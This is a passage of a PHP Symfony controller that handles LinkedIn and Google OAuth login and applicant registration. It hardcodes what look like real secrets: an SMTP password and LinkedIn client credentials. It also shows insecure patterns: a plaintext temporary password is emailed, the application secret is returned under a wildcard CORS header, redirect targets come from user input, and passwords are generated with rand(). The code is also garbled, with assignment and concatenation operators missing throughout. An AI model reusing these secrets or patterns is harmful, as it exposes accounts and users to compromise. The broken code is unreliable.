  6052.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6053.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6054.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  6055. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  6056.                     CURLOPT_USERAGENT => 'InnoPM',
  6057.                     CURLOPT_HTTPGET => 1,
  6058.                     CURLOPT_HTTPHEADER => array(
  6059.                         'Authorization: Bearer ' $token,
  6060.                         'Header-Key-2: Header-Value-2'
  6061.                     )
  6062.                 ));
  6063.                 $userEmailcontent curl_exec($curl);
  6064.                 curl_close($curl);
  6065.                 $token false;
  6066.                 if ($userEmailcontent) {
  6067.                     $userEmailcontent json_decode($userEmailcontenttrue);
  6068.                 }
  6069. //        $oAuthEmail = $applicantInfo['email'];
  6070. //        return new JsonResponse(array(
  6071. //          'userEmailcontent'=>$userEmailcontent,
  6072. //          'userGeneralcontent'=>$userGeneralcontent,
  6073. //        ));
  6074. //        return new response($userGeneralcontent);
  6075.                 $oAuthData = [
  6076.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6077.                     'uniqueId' => $userGeneralcontent['id'],
  6078.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  6079.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6080.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  6081.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  6082.                     'lastName' => $userGeneralcontent['localizedLastName'],
  6083.                     'type' => 1,
  6084.                     'token' => $token,
  6085.                 ];
  6086.             }
  6087.         } else if (isset($_GET["code"])) {
  6088.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  6089.             if (!isset($token['error'])) {
  6090.                 $google_client->setAccessToken($token['access_token']);
  6091.                 $google_service = new Google_Service_Oauth2($google_client);
  6092.                 $applicantInfo $google_service->userinfo->get();
  6093.                 $oAuthEmail $applicantInfo['email'];
  6094.                 $oAuthData = [
  6095.                     'email' => $applicantInfo['email'],
  6096.                     'uniqueId' => $applicantInfo['id'],
  6097.                     'image' => $applicantInfo['picture'],
  6098.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6099.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6100.                     'firstName' => $applicantInfo['givenName'],
  6101.                     'lastName' => $applicantInfo['familyName'],
  6102.                     'type' => $token['token_type'],
  6103.                     'token' => $token['access_token'],
  6104.                 ];
  6105.             }
  6106.         }
  6107.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  6108.             $isApplicantExist $applicantRepo->findOneBy([
  6109.                 'email' => $oAuthData['email']
  6110.             ]);
  6111.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  6112.                 $isApplicantExist $applicantRepo->findOneBy([
  6113.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  6114.                 ]);
  6115.             }
  6116.             if ($isApplicantExist) {
  6117.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6118.                 } else
  6119.                     return $this->redirectToRoute("core_login", [
  6120.                         'id' => $isApplicantExist->getApplicantId(),
  6121.                         'oAuthData' => $oAuthData,
  6122.                         'encData' => $encData,
  6123.                         'locale' => $request->request->get('locale''en'),
  6124.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6125.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6126.                     ]);
  6127.             } else {
  6128.                 $fname $oAuthData['firstName'];
  6129.                 $lname $oAuthData['lastName'];
  6130.                 $img $oAuthData['image'];
  6131.                 $email $oAuthData['email'];
  6132.                 $oAuthEmail $oAuthData['email'];
  6133.                 $userName explode('@'$email)[0];
  6134.                 //now check if same username exists
  6135.                 $username_already_exist 1;
  6136.                 $initial_user_name $userName;
  6137.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  6138.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  6139.                     $isUsernameExist $applicantRepo->findOneBy([
  6140.                         'username' => $userName
  6141.                     ]);
  6142.                     if ($isUsernameExist) {
  6143.                         $username_already_exist 1;
  6144.                         $userName $initial_user_name '' rand(3009987);
  6145.                     } else {
  6146.                         $username_already_exist 0;
  6147.                     }
  6148.                     $timeoutSafeCount--;
  6149.                 }
  6150.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  6151.                     $currentUnixTimeStamp '';
  6152.                     $currentUnixTime = new \DateTime();
  6153.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  6154.                     $userName $userName '' $currentUnixTimeStamp;
  6155.                 }
  6156.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  6157.                 $charactersLength strlen($characters);
  6158.                 $length 8;
  6159.                 $password 0;
  6160.                 for ($i 0$i $length$i++) {
  6161.                     $password .= $characters[rand(0$charactersLength 1)];
  6162.                 }
  6163.                 $newApplicant = new EntityApplicantDetails();
  6164.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  6165.                 $newApplicant->setEmail($email);
  6166.                 $newApplicant->setUserName($userName);
  6167.                 $newApplicant->setFirstname($fname);
  6168.                 $newApplicant->setLastname($lname);
  6169.                 $newApplicant->setOAuthEmail($oAuthEmail);
  6170.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  6171.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  6172.                 $newApplicant->setAccountStatus(1);
  6173.                 //salt will be username
  6174. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  6175.                 $salt uniqid(mt_rand());
  6176.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  6177.                 $newApplicant->setPassword($encodedPassword);
  6178.                 $newApplicant->setSalt($salt);
  6179.                 $newApplicant->setTempPassword($password);
  6180. //                $newApplicant->setPassword($password);
  6181.                 $marker $userName '-' time();
  6182. //                $extension_here=$uploadedFile->guessExtension();
  6183. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  6184. //                $path = $fileName;
  6185.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  6186.                 if (!file_exists($upl_dir)) {
  6187.                     mkdir($upl_dir0777true);
  6188.                 }
  6189.                 $ch curl_init($img);
  6190.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  6191.                 curl_setopt($chCURLOPT_FILE$fp);
  6192.                 curl_setopt($chCURLOPT_HEADER0);
  6193.                 curl_exec($ch);
  6194.                 curl_close($ch);
  6195.                 fclose($fp);
  6196.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  6197. //                $newApplicant->setImage($img);
  6198.                 $newApplicant->setIsConsultant(0);
  6199.                 $newApplicant->setIsTemporaryEntry(0);
  6200.                 $newApplicant->setApplyForConsultant(0);
  6201.                 $newApplicant->setTriggerResetPassword(0);
  6202.                 $em->persist($newApplicant);
  6203.                 $em->flush();
  6204.                 $isApplicantExist $newApplicant;
  6205.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  6206.                     if ($systemType == '_BUDDYBEE_') {
  6207.                         $bodyHtml '';
  6208.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  6209.                         $bodyData = array(
  6210.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6211.                             'email' => $userName,
  6212.                             'showPassword' => $newApplicant->getTempPassword() != '' 0,
  6213.                             'password' => $newApplicant->getTempPassword(),
  6214.                         );
  6215.                         $attachments = [];
  6216.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6217. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6218.                         $new_mail $this->get('mail_module');
  6219.                         $new_mail->sendMyMail(array(
  6220.                             'senderHash' => '_CUSTOM_',
  6221.                             //                        'senderHash'=>'_CUSTOM_',
  6222.                             'forwardToMailAddress' => $forwardToMailAddress,
  6223.                             'subject' => 'Welcome to BuddyBee ',
  6224. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6225.                             'attachments' => $attachments,
  6226.                             'toAddress' => $forwardToMailAddress,
  6227.                             'fromAddress' => 'registration@buddybee.eu',
  6228.                             'userName' => 'registration@buddybee.eu',
  6229.                             'password' => 'Y41dh8g0112',
  6230.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  6231.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  6232.                             'encryptionMethod' => 'ssl',
  6233. //                            'emailBody' => $bodyHtml,
  6234.                             'mailTemplate' => $bodyTemplate,
  6235.                             'templateData' => $bodyData,
  6236. //                        'embedCompanyImage' => 1,
  6237. //                        'companyId' => $companyId,
  6238. //                        'companyImagePath' => $company_data->getImage()
  6239.                         ));
  6240.                     } else {
  6241.                         $bodyHtml '';
  6242.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  6243.                         $bodyData = array(
  6244.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6245.                             'email' => 'APP-' $userName,
  6246.                             'password' => $newApplicant->getPassword(),
  6247.                         );
  6248.                         $attachments = [];
  6249.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6250. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6251.                         $new_mail $this->get('mail_module');
  6252.                         $new_mail->sendMyMail(array(
  6253.                             'senderHash' => '_CUSTOM_',
  6254.                             //                        'senderHash'=>'_CUSTOM_',
  6255.                             'forwardToMailAddress' => $forwardToMailAddress,
  6256.                             'subject' => 'Applicant Registration on Honeybee',
  6257. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6258.                             'attachments' => $attachments,
  6259.                             'toAddress' => $forwardToMailAddress,
  6260.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  6261.                             'userName' => 'accounts@ourhoneybee.eu',
  6262.                             'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  6263.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  6264.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  6265.                             'encryptionMethod' => 'ssl',
  6266. //                            'emailBody' => $bodyHtml,
  6267.                             'mailTemplate' => $bodyTemplate,
  6268.                             'templateData' => $bodyData,
  6269. //                        'embedCompanyImage' => 1,
  6270. //                        'companyId' => $companyId,
  6271. //                        'companyImagePath' => $company_data->getImage()
  6272.                         ));
  6273.                     }
  6274.                 }
  6275.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6276.                 } else {
  6277.                     return $this->redirectToRoute("core_login", [
  6278.                         'id' => $newApplicant->getApplicantId(),
  6279.                         'oAuthData' => $oAuthData,
  6280.                         'encData' => $encData,
  6281.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6282.                         'locale' => $request->request->get('locale''en'),
  6283.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6284.                     ]);
  6285.                 }
  6286.             }
  6287.         }
  6288.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6289.             if ($isApplicantExist) {
  6290.                 $user $isApplicantExist;
  6291.                 $userType UserConstants::USER_TYPE_APPLICANT;
  6292.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  6293.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  6294.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  6295.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  6296.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  6297.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  6298.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  6299.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  6300.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  6301.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  6302.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  6303.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  6304.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  6305.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  6306.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  6307.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  6308.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  6309.                     $session->set(UserConstants::USER_COMPANY_ID1);
  6310.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  6311.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  6312.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6313.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  6314.                     $session->set('userCompanyVibrantList'json_encode([]));
  6315.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  6316.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6317.                     $session->set(UserConstants::USER_APP_ID0);
  6318.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  6319.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  6320.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  6321.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  6322.                     $session->set(UserConstants::USER_GOC_ID0);
  6323.                     $session->set(UserConstants::USER_DB_NAME'');
  6324.                     $session->set(UserConstants::USER_DB_USER'');
  6325.                     $session->set(UserConstants::USER_DB_PASS'');
  6326.                     $session->set(UserConstants::USER_DB_HOST'');
  6327.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  6328.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  6329.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  6330.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  6331.                     $session->set('locale'$request->request->get('locale'''));
  6332.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  6333.                     $route_list_array = [];
  6334.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  6335.                     $loginID 0;
  6336.                     $loginID MiscActions::addEntityUserLoginLog(
  6337.                         $em,
  6338.                         $session->get(UserConstants::USER_ID),
  6339.                         $session->get(UserConstants::USER_ID),
  6340.                         1,
  6341.                         $request->server->get("REMOTE_ADDR"),
  6342.                         0,
  6343.                         $request->request->get('deviceId'''),
  6344.                         $request->request->get('oAuthToken'''),
  6345.                         $request->request->get('oAuthType'''),
  6346.                         $request->request->get('locale'''),
  6347.                         $request->request->get('firebaseToken''')
  6348.                     );
  6349.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  6350.                     $session_data = array(
  6351.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  6352.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  6353.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  6354.                         'oAuthToken' => $session->get('oAuthToken'),
  6355.                         'locale' => $session->get('locale'),
  6356.                         'firebaseToken' => $session->get('firebaseToken'),
  6357.                         'token' => $session->get('token'),
  6358.                         'firstLogin' => 0,
  6359.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  6360.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  6361.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  6362.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  6363.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  6364.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  6365.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  6366.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  6367.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  6368.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  6369.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  6370.                         'oAuthImage' => $session->get('oAuthImage'),
  6371.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  6372.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  6373.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  6374.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  6375.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  6376.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  6377.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  6378.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  6379.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  6380.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  6381.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  6382.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  6383.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  6384.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  6385.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  6386.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  6387.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  6388.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  6389.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  6390.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  6391.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  6392.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  6393.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  6394.                         //new
  6395.                         'appIdList' => $session->get('appIdList'),
  6396.                         'branchIdList' => $session->get('branchIdList'null),
  6397.                         'branchId' => $session->get('branchId'null),
  6398.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  6399.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  6400.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  6401.                     );
  6402.                     $session_data $this->filterClientSessionData($session_data);
  6403.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  6404.                     $session_data $tokenData['sessionData'];
  6405.                     $token $tokenData['token'];
  6406.                     $session->set('token'$token);
  6407.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  6408.                         $session->set('remoteVerified'1);
  6409.                         $response = new JsonResponse(array(
  6410.                             'token' => $token,
  6411.                             'uid' => $session->get(UserConstants::USER_ID),
  6412.                             'session' => $session,
  6413.                             'success' => true,
  6414.                             'session_data' => $session_data,
  6415.                         ));
  6416.                         $response->headers->set('Access-Control-Allow-Origin''*');
  6417.                         return $response;
  6418.                     }
  6419.                     if ($request->request->has('referer_path')) {
  6420.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  6421.                             return $this->redirect($request->request->get('referer_path'));
  6422.                         }
  6423.                     }
  6424.                     $redirectRoute 'applicant_dashboard';
  6425.                     if ($request->query->has('encData')) {
  6426.                         if ($request->query->get('encData') == '8917922')
  6427.                             $redirectRoute 'apply_for_consultant';
  6428.                     }
  6429.                     return $this->redirectToRoute($redirectRoute);
  6430.                 }
  6431. //                    $response = new JsonResponse(array(
  6432. //                        'token' => $token,
  6433. //                        'uid' => $session->get(UserConstants::USER_ID),
  6434. //                        'session' => $session,
  6435. //
  6436. //                        'success' => true,
  6437. //                        'session_data' => $session_data,
  6438. //
  6439. //                    ));
  6440. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  6441. //                    return $response;
  6442. //                    return $this->redirectToRoute("user_login", [
  6443. //                        'id' => $isApplicantExist->getApplicantId(),
  6444. //                        'oAuthData' => $oAuthData,
  6445. //                        'encData' => $encData,
  6446. //                        'locale' => $request->request->get('locale', 'en'),
  6447. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  6448. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  6449. //                    ]);
  6450.             }
  6451.         }
  6452. //        if ($request->isMethod('POST')){
  6453. //            $new = new EntityApplicantDetails();
  6454. //
  6455. //            $new-> setUsername->$request->request->get('userName');
  6456. //            $new-> setEmail()->$request->request->get('email');
  6457. //            $new-> setPassword()->$request->request->get('password');
  6458. //            $new-> setSelector()->$request->request->get('selector');
  6459. //
  6460. //
  6461. //            $em->persist($new);
  6462. //            $em->flush();
  6463. //        }
  6464.         $selector BuddybeeConstant::$selector;
  6465.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6466.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  6467.         if ($systemType == '_ERP_') {
  6468.         } else if ($systemType == '_BUDDYBEE_') {
  6469.             return $this->render(
  6470.                 '@Authentication/pages/views/applicant_login.html.twig',
  6471.                 [
  6472.                     'page_title' => 'BuddyBee Login',
  6473.                     'oAuthLink' => $google_client->createAuthUrl(),
  6474.                     'redirect_url' => $url,
  6475.                     'message' => $message,
  6476.                     'errorField' => $errorField,
  6477.                     'encData' => $encData,
  6478.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  6479.                     'selector' => $selector
  6480.                 ]
  6481.             );
  6482.         }
  6483.         return $this->render(
  6484.             '@Authentication/pages/views/applicant_login.html.twig',
  6485.             [
  6486.                 'page_title' => 'Applicant Registration',
  6487.                 'oAuthLink' => $google_client->createAuthUrl(),
  6488.                 'redirect_url' => $url,
  6489.                 'encData' => $encData,
  6490.                 'message' => $message,
  6491.                 'errorField' => $errorField,
  6492.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  6493.                 'selector' => $selector
  6494.             ]
  6495.         );
  6496.     }
  6497.     public function centralLoginAction(Request $request$encData ''$remoteVerify 0)
  6498.     {
  6499.         $session $request->getSession();
  6500.         $email $request->getSession()->get('userEmail');
  6501.         $sessionUserId $request->getSession()->get('userId');
  6502.         $oAuthData = [];
  6503. //    $encData='';
  6504.         $em $this->getDoctrine()->getManager('company_group');
  6505.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  6506.         $redirectRoute 'dashboard';
  6507.         if ($encData != '') {
  6508.             if ($encData == '8917922')
  6509.                 $redirectRoute 'apply_for_consultant';
  6510.         }
  6511.         if ($request->query->has('encData')) {
  6512.             $encData $request->query->get('encData');
  6513.             if ($encData == '8917922')
  6514.                 $redirectRoute 'apply_for_consultant';
  6515.         }
  6516.         $message '';
  6517.         $errorField '_NONE_';
  6518.         if ($request->query->has('message')) {
  6519.             $message $request->query->get('message');
  6520.         }
  6521.         if ($request->query->has('errorField')) {
  6522.             $errorField $request->query->get('errorField');
  6523.         }
  6524.         if ($request->request->has('oAuthData')) {
  6525.             $oAuthData $request->request->get('oAuthData', []);
  6526.         } else {
  6527.             $oAuthData = [
  6528.                 'email' => $request->request->get('email'''),
  6529.                 'uniqueId' => $request->request->get('uniqueId'''),
  6530.                 'oAuthHash' => '_NONE_',
  6531.                 'image' => $request->request->get('image'''),
  6532.                 'emailVerified' => $request->request->get('emailVerified'''),
  6533.                 'name' => $request->request->get('name'''),
  6534.                 'firstName' => $request->request->get('firstName'''),
  6535.                 'lastName' => $request->request->get('lastName'''),
  6536.                 'type' => 1,
  6537.                 'token' => $request->request->get('oAuthtoken'''),
  6538.             ];
  6539.         }
  6540.         $isApplicantExist null;
  6541.         if ($email) {
  6542.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6543.                 $isApplicantExist $applicantRepo->findOneBy([
  6544.                     'applicantId' => $sessionUserId
  6545.                 ]);
  6546.             } else
  6547.                 return $this->redirectToRoute($redirectRoute);
  6548.         }
  6549.         $google_client = new Google_Client();
  6550. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  6551. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  6552.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  6553.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  6554.         } else {
  6555.             $url $this->generateUrl(
  6556.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  6557.             );
  6558.         }
  6559.         $selector BuddybeeConstant::$selector;
  6560.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6561.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  6562. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  6563. //        $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  6564.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  6565. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  6566.         $google_client->setRedirectUri($url);
  6567.         $google_client->setAccessType('offline');        // offline access
  6568.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  6569.         $google_client->addScope('email');
  6570.         $google_client->addScope('profile');
  6571.         $google_client->addScope('openid');
  6572. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  6573.         //linked in 1st
  6574.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  6575.             $curl curl_init();
  6576.             curl_setopt_array($curl, array(
  6577.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  6578.                 CURLOPT_HEADER => false,  // don't return headers
  6579.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6580.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6581.                 CURLOPT_ENCODING => "",     // handle compressed
  6582.                 CURLOPT_USERAGENT => "test"// name of client
  6583.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6584.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6585.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  6586.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  6587.                 CURLOPT_USERAGENT => 'InnoPM',
  6588.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  6589.                 CURLOPT_POST => 1,
  6590.                 CURLOPT_HTTPHEADER => array(
  6591.                     'Content-Type: application/x-www-form-urlencoded'
  6592.                 )
  6593.             ));
  6594.             $content curl_exec($curl);
  6595.             $contentArray = [];
  6596.             curl_close($curl);
  6597.             $token false;
  6598. //      return new JsonResponse(array(
  6599. //          'content'=>$content,
  6600. //          'contentArray'=>json_decode($content,true),
  6601. //
  6602. //      ));
  6603.             if ($content) {
  6604.                 $contentArray json_decode($contenttrue);
  6605.                 $token $contentArray['access_token'];
  6606.             }
  6607.             if ($token) {
  6608.                 $applicantInfo = [];
  6609.                 $curl curl_init();
  6610.                 curl_setopt_array($curl, array(
  6611.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6612.                     CURLOPT_HEADER => false,  // don't return headers
  6613.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6614.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6615.                     CURLOPT_ENCODING => "",     // handle compressed
  6616.                     CURLOPT_USERAGENT => "test"// name of client
  6617.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6618.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6619.                     CURLOPT_TIMEOUT => 120,    // time-out on response
